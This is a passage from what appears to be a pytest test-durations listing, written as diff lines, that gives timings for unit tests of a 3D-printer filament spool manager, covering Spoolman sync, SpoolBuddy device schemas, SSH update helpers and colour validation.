"unit/test_spool_filament_preset_cascade.py::TestNoOverrides::test_an_unknown_model_falls_back": 0.18686148338019848, + "unit/test_spool_filament_preset_cascade.py::TestNoOverrides::test_falls_back_to_the_spools_own_preset": 0.1808864250779152, + "unit/test_spool_filament_preset_cascade.py::TestNoOverrides::test_no_model_at_all_falls_back": 0.18182936310768127, + "unit/test_spool_filament_preset_cascade.py::TestPerDiameterException::test_a_diameter_row_alone_still_leaves_other_nozzles_on_the_default": 0.19106785766780376, + "unit/test_spool_filament_preset_cascade.py::TestPerDiameterException::test_exact_diameter_beats_the_model_default": 0.18501421343535185, + "unit/test_spool_filament_preset_cascade.py::TestPerDiameterException::test_the_two_hotends_of_one_machine_resolve_differently": 0.18532016407698393, + "unit/test_spool_filament_preset_cascade.py::TestSpoolmanFlavour::test_same_cascade": 0.18202465865761042, + "unit/test_spool_schemas_colors.py::TestColorCatalogSchemas::test_create_accepts_8char_hex_color": 0.0015310505405068398, + "unit/test_spool_schemas_colors.py::TestColorCatalogSchemas::test_create_rejects_hex_without_hash": 0.0015903189778327942, + "unit/test_spool_schemas_colors.py::TestColorCatalogSchemas::test_create_still_accepts_6char_hex_color": 0.0015106815844774246, + "unit/test_spool_schemas_colors.py::TestColorCatalogSchemas::test_create_threads_extra_colors_and_effect": 0.001955314539372921, + "unit/test_spool_schemas_colors.py::TestColorCatalogSchemas::test_update_validators_match_create": 0.001609797589480877, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_accepts_all_known_types": 0.0014593256637454033, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_accepts_sheen_variants": 0.001439196988940239, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_accepts_structural_variants": 0.0014474531635642052, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_canonicalizes_space_to_dash": 0.0014602169394493103, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_canonicalizes_underscore_to_dash": 0.001453714445233345, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_empty_string_returns_none": 0.0014920877292752266, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_lowercases": 0.0014853542670607567, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_none_passthrough": 0.0014682915061712265, + "unit/test_spool_schemas_colors.py::TestNormalizeEffectType::test_rejects_unknown_type": 0.0015475684776902199, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_accepts_8char_alpha": 0.001646336168050766, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_accepts_max_stops": 0.0016445834189653397, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_drops_empty_tokens": 0.002073977142572403, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_empty_string_returns_none": 0.0018697548657655716, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_handles_whitespace_around_tokens": 0.0022126957774162292, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_lowercases": 0.001667175441980362, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_mixed_6_and_8_char": 0.0017576124519109726, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_none_passthrough": 0.0025336481630802155, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_rejects_non_hex": 0.0017752479761838913, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_rejects_too_many_stops": 0.0017801672220230103, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_rejects_wrong_length": 0.0016966192051768303, + "unit/test_spool_schemas_colors.py::TestNormalizeExtraColors::test_strips_hash_prefix": 0.001671171747148037, + "unit/test_spool_schemas_colors.py::TestSpoolCreateColorExtensions::test_accepts_effect_type": 0.0015102289617061615, + "unit/test_spool_schemas_colors.py::TestSpoolCreateColorExtensions::test_accepts_extra_colors_paste": 0.0016495510935783386, + "unit/test_spool_schemas_colors.py::TestSpoolCreateColorExtensions::test_defaults_to_none": 0.0015049809589982033, + "unit/test_spool_schemas_colors.py::TestSpoolCreateColorExtensions::test_rejects_bad_effect_type": 0.0015478404238820076, + "unit/test_spool_schemas_colors.py::TestSpoolCreateColorExtensions::test_rejects_bad_extra_colors": 0.0015672976151108742, + "unit/test_spool_schemas_colors.py::TestSpoolUpdateColorExtensions::test_clears_effect_type_via_explicit_null": 0.001463552936911583, + "unit/test_spool_schemas_colors.py::TestSpoolUpdateColorExtensions::test_clears_extra_colors_via_empty_string": 0.0014774389564990997, + "unit/test_spool_schemas_colors.py::TestSpoolUpdateColorExtensions::test_round_trips_canonical_form": 0.001505502499639988, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_category_accepts_max_length": 0.0012643905356526375, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_category_rejects_too_long": 0.0014953315258026123, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_create_accepts_category_and_threshold": 0.00153285451233387, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_create_defaults_to_null": 0.001512874849140644, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_threshold_rejects_100": 0.001248539425432682, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_threshold_rejects_negative": 0.0012359460815787315, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_threshold_rejects_zero": 0.0013210466131567955, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_update_accepts_partial_changes": 0.001516631804406643, + "unit/test_spool_schemas_rgba.py::TestSpoolCategoryAndThreshold::test_update_clears_via_explicit_null": 0.0015219831839203835, + "unit/test_spool_schemas_rgba.py::TestSpoolCreateRgbaValidation::test_accepts_lowercase_hex": 0.0015295976772904396, + "unit/test_spool_schemas_rgba.py::TestSpoolCreateRgbaValidation::test_accepts_null_rgba": 0.0015001604333519936, + "unit/test_spool_schemas_rgba.py::TestSpoolCreateRgbaValidation::test_accepts_valid_8char_hex": 0.0015431204810738564, + "unit/test_spool_schemas_rgba.py::TestSpoolCreateRgbaValidation::test_rejects_6char_rgba": 0.0015261806547641754, + "unit/test_spool_schemas_rgba.py::TestSpoolCreateRgbaValidation::test_rejects_7char_rgba": 0.0015727970749139786, + "unit/test_spool_schemas_rgba.py::TestSpoolCreateRgbaValidation::test_rejects_non_hex_char": 0.001551368273794651, + "unit/test_spool_schemas_rgba.py::TestSpoolResponseRgbaLeniency::test_passes_valid_rgba_through": 0.001527903601527214, + "unit/test_spool_schemas_rgba.py::TestSpoolResponseRgbaLeniency::test_tolerates_7char_rgba_on_serialize": 0.0015720454975962639, + "unit/test_spool_schemas_rgba.py::TestSpoolResponseRgbaLeniency::test_tolerates_non_hex_rgba": 0.001553501933813095, + "unit/test_spool_schemas_rgba.py::TestSpoolResponseRgbaLeniency::test_tolerates_null_rgba": 0.001537291333079338, + "unit/test_spool_schemas_rgba.py::TestSpoolUpdateRgbaValidation::test_accepts_missing_rgba": 0.0015236660838127136, + "unit/test_spool_schemas_rgba.py::TestSpoolUpdateRgbaValidation::test_accepts_null_rgba": 0.0015484318137168884, + "unit/test_spool_schemas_rgba.py::TestSpoolUpdateRgbaValidation::test_accepts_valid_8char_hex": 0.0015759645029902458, + "unit/test_spool_schemas_rgba.py::TestSpoolUpdateRgbaValidation::test_rejects_7char_rgba": 0.0015726285055279732, + "unit/test_spool_schemas_rgba.py::TestSpoolUpdateRgbaValidation::test_rejects_9char_rgba": 0.001545187085866928, + "unit/test_spool_schemas_rgba.py::TestSpoolUpdateRgbaValidation::test_rejects_non_hex_char": 0.0015637213364243507, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationLength::test_accepts_max_length": 0.0012455247342586517, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationLength::test_rejects_over_max_length": 0.0013135317713022232, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationRoundtrips::test_create_accepts_storage_location": 0.0014113560318946838, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationRoundtrips::test_create_storage_location_optional": 0.0012473687529563904, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationRoundtrips::test_response_carries_storage_location": 0.0012660929933190346, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationRoundtrips::test_update_accepts_storage_location": 0.0012473473325371742, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationRoundtrips::test_update_explicit_null_clears_storage_location": 0.0012589283287525177, + "unit/test_spool_schemas_storage_location.py::TestStorageLocationRoundtrips::test_update_omits_unset_storage_location": 0.0012576980516314507, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_backend_url_at_max_accepted": 0.0012701209634542465, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_backend_url_too_long_rejected": 0.001298162154853344, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_device_id_too_long_rejected": 0.0012950683012604713, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_firmware_version_at_max_accepted": 0.0012826034799218178, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_firmware_version_too_long_rejected": 0.0013497183099389076, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_nfc_connection_too_long_rejected": 0.001306118443608284, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_nfc_reader_type_too_long_rejected": 0.0012913402169942856, + "unit/test_spoolbuddy_schema_validation.py::TestDeviceRegisterRequestValidation::test_valid_minimal_accepted": 0.0019414685666561127, + "unit/test_spoolbuddy_schema_validation.py::TestHeartbeatSystemStatsValidation::test_exactly_4096_bytes_accepted": 0.0017007766291499138, + "unit/test_spoolbuddy_schema_validation.py::TestHeartbeatSystemStatsValidation::test_none_accepted": 0.001239623874425888, + "unit/test_spoolbuddy_schema_validation.py::TestHeartbeatSystemStatsValidation::test_one_byte_over_limit_rejected": 0.001465347595512867, + "unit/test_spoolbuddy_schema_validation.py::TestHeartbeatSystemStatsValidation::test_oversized_dict_rejected": 0.0013199243694543839, + "unit/test_spoolbuddy_schema_validation.py::TestHeartbeatSystemStatsValidation::test_small_dict_accepted": 0.0012522581964731216, + "unit/test_spoolbuddy_schema_validation.py::TestScaleReadingRequestValidation::test_inf_weight_rejected": 0.0013066399842500687, + "unit/test_spoolbuddy_schema_validation.py::TestScaleReadingRequestValidation::test_large_raw_adc_weight_accepted": 0.0013119792565703392, + "unit/test_spoolbuddy_schema_validation.py::TestScaleReadingRequestValidation::test_nan_weight_rejected": 0.0014166561886668205, + "unit/test_spoolbuddy_schema_validation.py::TestScaleReadingRequestValidation::test_negative_weight_accepted": 0.001295759342610836, + "unit/test_spoolbuddy_schema_validation.py::TestScaleReadingRequestValidation::test_valid_weight_accepted": 0.0013327989727258682, + "unit/test_spoolbuddy_schema_validation.py::TestScaleReadingRequestValidation::test_zero_weight_accepted": 0.0013241106644272804, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_empty_status_rejected": 0.0012354562059044838, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_invalid_status_rejected": 0.0012659132480621338, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_message_at_max_length_accepted": 0.0012609437108039856, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_message_max_length_enforced": 0.0012394515797495842, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_valid_status_complete": 0.001654050312936306, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_valid_status_error": 0.0012585474178195, + "unit/test_spoolbuddy_schema_validation.py::TestUpdateStatusRequestValidation::test_valid_status_updating": 0.0017315568402409554, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_device_id_at_max_accepted": 0.0012809913605451584, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_device_id_too_long_rejected": 0.0013277297839522362, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_tag_uid_hex_pattern_accepted": 0.0012779049575328827, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_tag_uid_max_length_accepted": 0.0014364523813128471, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_tag_uid_non_hex_rejected": 0.001300155185163021, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_tag_uid_over_max_length_rejected": 0.0013701273128390312, + "unit/test_spoolbuddy_schema_validation.py::TestWriteTagResultRequestValidation::test_tag_uid_too_short_rejected": 0.0017931507900357246, + "unit/test_spoolbuddy_ssh.py::test_detect_branch_default_main": 0.0014809463173151016, + "unit/test_spoolbuddy_ssh.py::test_detect_branch_detached_head_falls_back": 0.0017284201458096504, + "unit/test_spoolbuddy_ssh.py::test_detect_branch_env_fallback": 0.001689717173576355, + "unit/test_spoolbuddy_ssh.py::test_detect_branch_from_git_head": 0.0016210097819566727, + "unit/test_spoolbuddy_ssh.py::test_detect_branch_uses_app_dir_not_data_dir": 0.0015863748267292976, + "unit/test_spoolbuddy_ssh.py::test_detect_branch_worktree_gitdir_file": 0.0015539731830358505, + "unit/test_spoolbuddy_ssh.py::test_get_or_create_keypair_does_not_shell_out": 0.002134280279278755, + "unit/test_spoolbuddy_ssh.py::test_get_or_create_keypair_generates_new": 0.0023435531184077263, + "unit/test_spoolbuddy_ssh.py::test_get_or_create_keypair_returns_existing": 0.0019502947106957436, + "unit/test_spoolbuddy_ssh.py::test_get_public_key": 0.001847861334681511, + "unit/test_spoolbuddy_ssh.py::test_get_ssh_key_dir_creates_directory": 0.0015632184222340584, + "unit/test_spoolbuddy_ssh.py::test_get_ssh_key_dir_returns_existing": 0.0014756238088011742, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_branch_is_shell_quoted": 0.004906566813588142, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_corrupt_stored_key_falls_back_to_tofu": 0.0072857048362493515, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_git_fetch_failure": 0.003903685137629509, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_passes_str_not_bytes_to_import_known_hosts": 0.004118177108466625, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_ssh_failure": 0.0037645474076271057, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_success": 0.005410382524132729, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_tofu_stores_host_key": 0.0045736925676465034, + "unit/test_spoolbuddy_ssh.py::test_perform_ssh_update_uses_stored_host_key": 0.004186546429991722, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_connection_failure": 0.001766531728208065, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_host_key_mismatch": 0.0018952712416648865, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_no_subprocess": 0.0025435565039515495, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_os_error": 0.001744881272315979, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_success": 0.002877351827919483, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_timeout": 0.052372122183442116, + "unit/test_spoolbuddy_ssh.py::test_run_ssh_command_with_known_hosts_skips_capture": 0.0024768617004156113, + "unit/test_spoolbuddy_system_stats.py::TestCollect::test_all_values_are_json_serializable": 0.0022937795147299767, + "unit/test_spoolbuddy_system_stats.py::TestCollect::test_returns_dict_with_expected_keys": 0.002608679234981537, + "unit/test_spoolbuddy_system_stats.py::TestCpuCount::test_returns_positive_int": 0.0016075829043984413, + "unit/test_spoolbuddy_system_stats.py::TestCpuTemp::test_reads_thermal_zone": 0.0015792995691299438, + "unit/test_spoolbuddy_system_stats.py::TestCpuTemp::test_returns_none_on_bad_value": 0.0013694977387785912, + "unit/test_spoolbuddy_system_stats.py::TestCpuTemp::test_returns_none_on_missing_file": 0.0014278385788202286, + "unit/test_spoolbuddy_system_stats.py::TestDiskInfo::test_returns_disk_stats": 0.0013030925765633583, + "unit/test_spoolbuddy_system_stats.py::TestLoadAvg::test_returns_three_values": 0.0012715021148324013, + "unit/test_spoolbuddy_system_stats.py::TestMemoryInfo::test_parses_meminfo": 0.0013944339007139206, + "unit/test_spoolbuddy_system_stats.py::TestMemoryInfo::test_returns_none_on_missing": 0.001383332535624504, + "unit/test_spoolbuddy_system_stats.py::TestOsInfo::test_parses_pretty_name": 0.0013702986761927605, + "unit/test_spoolbuddy_system_stats.py::TestOsInfo::test_returns_required_keys": 0.0013121813535690308, + "unit/test_spoolbuddy_system_stats.py::TestSystemUptime::test_parses_uptime": 0.001488981768488884, + "unit/test_spoolbuddy_system_stats.py::TestSystemUptime::test_returns_none_on_missing": 0.0013653086498379707, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_clears_only_removed_spools_in_mixed_set": 0.0017498284578323364, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_clears_spool_no_longer_in_ams": 0.0018043611198663712, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_double_booking_scenario": 0.0017425650730729103, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_keeps_spool_still_in_ams": 0.0019038589671254158, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_returns_zero_when_no_spools_at_printer": 0.001649320125579834, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_skips_non_bambu_spools": 0.0016679270192980766, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_skips_spools_from_other_printers": 0.0016427179798483849, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_synced_spool_ids_protects_location_matched_spools": 0.0016664434224367142, + "unit/test_spoolman_clear_location.py::TestClearLocationForRemovedSpools::test_uuid_comparison_is_case_insensitive": 0.0016942573711276054, + "unit/test_spoolman_extra_lock.py::TestExtraLock::test_concurrent_calls_serialized": 0.022629596292972565, + "unit/test_spoolman_extra_lock.py::TestExtraLock::test_extra_lock_different_ids_different_instances": 0.001299816183745861, + "unit/test_spoolman_extra_lock.py::TestExtraLock::test_extra_lock_released_when_no_reference": 0.5414153542369604, + "unit/test_spoolman_extra_lock.py::TestExtraLock::test_extra_lock_same_instance_within_scope": 0.001323808915913105, + "unit/test_spoolman_inventory_helpers.py::TestExtractExtraStr::test_passes_through_bare_string_on_decode_error": 0.002471022307872772, + "unit/test_spoolman_inventory_helpers.py::TestExtractExtraStr::test_returns_empty_for_json_null": 0.0023797303438186646, + "unit/test_spoolman_inventory_helpers.py::TestExtractExtraStr::test_returns_empty_for_missing_key": 0.0024258261546492577, + "unit/test_spoolman_inventory_helpers.py::TestExtractExtraStr::test_returns_empty_for_non_string_value": 0.002385621890425682, + "unit/test_spoolman_inventory_helpers.py::TestExtractExtraStr::test_unwraps_quoted_string": 0.001855689100921154, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_archived_spool_has_archived_at": 0.0012868428602814674, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_basic_mapping": 0.0013109073042869568, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_both_levels_none_uses_fallback": 0.002419424243271351, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_brand_from_vendor": 0.0012896973639726639, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_hex_lowercase_normalised": 0.001292533241212368, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_hex_with_hash_prefix_stripped": 0.0012794462963938713, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_empty_extra_falls_through_to_filament": 0.0012898175045847893, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_empty_extra_falls_through_to_synth": 0.0012919707223773003, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_falls_back_to_subtype_when_field_missing": 0.0012753112241625786, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_flags_synthesized_when_falling_back_to_subtype": 0.0012876233085989952, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_none_when_both_fields_empty": 0.001276412047445774, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_read_from_spool_extra_first": 0.0012893369421362877, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_color_name_uses_explicit_field_when_present": 0.001323740929365158, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_core_weight_fallback_when_spool_weight_missing": 0.0015499349683523178, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_core_weight_fallback_when_spool_weight_none": 0.0015747630968689919, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_core_weight_float_truncated_to_int": 0.002428421750664711, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_core_weight_from_filament_spool_weight": 0.0015790071338415146, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_eight_char_color_hex_is_read_back_with_its_alpha": 0.0012837350368499756, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_empty_location_gives_none_storage_location": 0.0012892866507172585, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_fully_transparent_color_hex_survives_the_read": 0.0013260366395115852, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_infinity_weight_falls_back": 0.0012803394347429276, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_invalid_color_hex_falls_back_to_grey": 0.0012810807675123215, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_missing_id_raises": 0.001395655795931816, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_nan_used_weight_falls_back": 0.0012813005596399307, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_negative_id_raises": 0.0013338606804609299, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_no_location_gives_none_storage_location": 0.001275661401450634, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_no_vendor_brand_is_none": 0.0012851590290665627, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_none_filament": 0.0014063967391848564, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_none_id_raises": 0.0013171490281820297, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_none_price_stays_none": 0.0012826640158891678, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_nonzero_price_preserved": 0.0012866109609603882, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_numeric_string_id_accepted": 0.0012806281447410583, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_remaining_weight_after_reset": 0.0013287412002682686, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_remaining_weight_drives_synthetic_used_for_parity": 0.0013179508969187737, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_seven_char_color_hex_falls_back": 0.0012767426669597626, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_short_color_hex_falls_back": 0.0012714937329292297, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_six_char_color_hex_still_gains_the_opaque_alpha": 0.0013075489550828934, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_spool_level_absent_falls_back_to_filament": 0.0024574967101216316, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_spool_level_none_falls_back_to_filament": 0.0025231391191482544, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_spool_level_spool_weight_takes_priority_over_filament": 0.0024295030161738396, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_spool_level_zero_spool_weight_not_treated_as_missing": 0.0025776810944080353, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_spoolman_location_key_not_in_result": 0.001563441939651966, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_spoolman_location_mapped_to_storage_location": 0.0012932037934660912, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_string_id_raises": 0.0013813590630888939, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_subtype_strips_material_prefix": 0.0012789266183972359, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_zero_id_raises": 0.0015418194234371185, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpool::test_zero_price_not_converted_to_none": 0.0012972531840205193, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpoolPrice::test_inf_price_gives_none_cost_per_kg": 0.0024866918101906776, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpoolPrice::test_nan_price_gives_none_cost_per_kg": 0.0017996430397033691, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpoolSlicerFilament::test_empty_string_extra_treated_as_unset": 0.0016386806964874268, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpoolSlicerFilament::test_non_json_extra_value_passed_through": 0.0017231889069080353, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpoolSlicerFilament::test_slicer_filament_falls_back_to_filament_name": 0.0016486793756484985, + "unit/test_spoolman_inventory_helpers.py::TestMapSpoolmanSpoolSlicerFilament::test_slicer_filament_unwrapped_from_extra": 0.0018856236711144447, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_inf_returns_fallback": 0.001293674111366272, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_nan_returns_fallback": 0.0013409340754151344, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_neg_inf_returns_fallback": 0.001270793378353119, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_none_returns_fallback": 0.0013445308431982994, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_normal_float": 0.001299215480685234, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_string_non_numeric_returns_fallback": 0.0012931423261761665, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_string_numeric": 0.001287653110921383, + "unit/test_spoolman_inventory_helpers.py::TestSafeFloat::test_zero": 0.0013123191893100739, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_float_rounds_down": 0.0015521803870797157, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_inf_returns_fallback": 0.001353507861495018, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_nan_returns_fallback": 0.001402437686920166, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_neg_inf_returns_fallback": 0.0013326182961463928, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_none_returns_fallback": 0.001429639756679535, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_normal_int": 0.0018171444535255432, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_string_non_numeric_returns_fallback": 0.0012902077287435532, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_string_numeric": 0.0012997472658753395, + "unit/test_spoolman_inventory_helpers.py::TestSafeInt::test_zero": 0.0013103848323225975, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_inf_returns_none": 0.002476652152836323, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_nan_returns_none": 0.0024150973185896873, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_neg_inf_returns_none": 0.002202187664806843, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_none_returns_none": 0.002380100078880787, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_normal_value": 0.002454139292240143, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_string_non_numeric_returns_none": 0.001693032681941986, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_string_numeric": 0.0016629397869110107, + "unit/test_spoolman_inventory_helpers.py::TestSafeOptionalFloat::test_zero_returns_zero": 0.0016902787610888481, + "unit/test_spoolman_inventory_methods.py::TestDeleteSpool::test_raises_unavailable_on_error": 0.0023504840210080147, + "unit/test_spoolman_inventory_methods.py::TestDeleteSpool::test_returns_none_on_success": 0.0031252484768629074, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_color_hex_normalised_to_uppercase": 0.002137374132871628, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_color_name_does_not_trigger_filament_patch": 0.002127857878804207, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_creates_filament_when_no_match": 0.0021047256886959076, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_matches_filament_named_with_just_subtype": 0.0024339212104678154, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_name_match_does_not_cross_materials": 0.0021097660064697266, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_no_brand_skips_vendor_lookup": 0.002081972546875477, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_raises_when_create_fails": 0.0024468377232551575, + "unit/test_spoolman_inventory_methods.py::TestFindOrCreateFilament::test_returns_existing_filament_id": 